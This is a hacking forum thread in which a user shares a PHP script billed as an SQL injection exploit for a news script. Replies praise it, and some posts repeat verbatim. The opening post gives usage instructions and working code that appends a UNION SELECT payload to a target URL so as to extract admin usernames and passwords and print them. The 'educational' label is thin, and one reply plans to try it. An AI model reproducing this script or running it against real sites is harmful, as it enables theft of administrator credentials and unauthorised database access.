Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


SQL Injection Exploit [PHP] filter_list
Author
Message
SQL Injection Exploit [PHP] #1
Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.

Usage:
Code:
http://localhost/script.php?web=http://targetsite.com/page.php?param=

Sauce:
PHP Code:
<?php error_reporting(0); print "<h2>HackCommunity SQL Injection Exploit</h2>"; if(!empty($_GET['web'])){ print "<b>Scanning the vulnerability...</b><br>________________________________<br>"; $injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info"; $source = file_get_contents($_GET['web'] . $injquery); if(strstr($source, "<hc>")){ $info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>')); print "Vulnerability Exploit Successfull!<br> <br>Result => $info"; }else{ print "Vulnerability Not Avaible For This Website..<br>"; } }else{ print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>"; } ?>

Image:
[Image: pur6g.png]

Au Revoir..
Fuck You.


RE: SQL Injection Exploit [PHP] #2
fucking nice i gotta try this,looks complicated though hmmm!
Security,oh don't worry i'll manage

[Image: imaghhues.jpg]


RE: SQL Injection Exploit [PHP] #3
(07-05-2013, 05:45 PM)stranded4eva Wrote: fucking nice i gotta try this,looks complicated though hmmm!

Not so complicated actually Smile Thanks for feedback!
Fuck You.


RE: SQL Injection Exploit [PHP] #4
Nicely done man, remote exploits are fun Tongue


RE: SQL Injection Exploit [PHP] #5
Nicely done man, remote exploits are fun Tongue


RE: SQL Injection Exploit [PHP] #6
(07-10-2013, 10:59 AM)VipVince Wrote: Nicely done man, remote exploits are fun Tongue

Indeed they're fun Smile
Fuck You.


RE: SQL Injection Exploit [PHP] #7
(07-10-2013, 10:59 AM)VipVince Wrote: Nicely done man, remote exploits are fun Tongue

Indeed they're fun Smile
Fuck You.


RE: SQL Injection Exploit [PHP] #8
Well i guess, this is SQLi Vulnerability scanner.
[Image: HAmi1ab.png]


RE: SQL Injection Exploit [PHP] #9
It does works on latest version of XAMPP for windows, but I don't know with Linux version...


RE: SQL Injection Exploit [PHP] #10
Well done!! greatt!! thanks for the sharee bro..
Hello, [username]
Do you have any questions? Feel free to PM me any time.

[Image: imudFMc.png]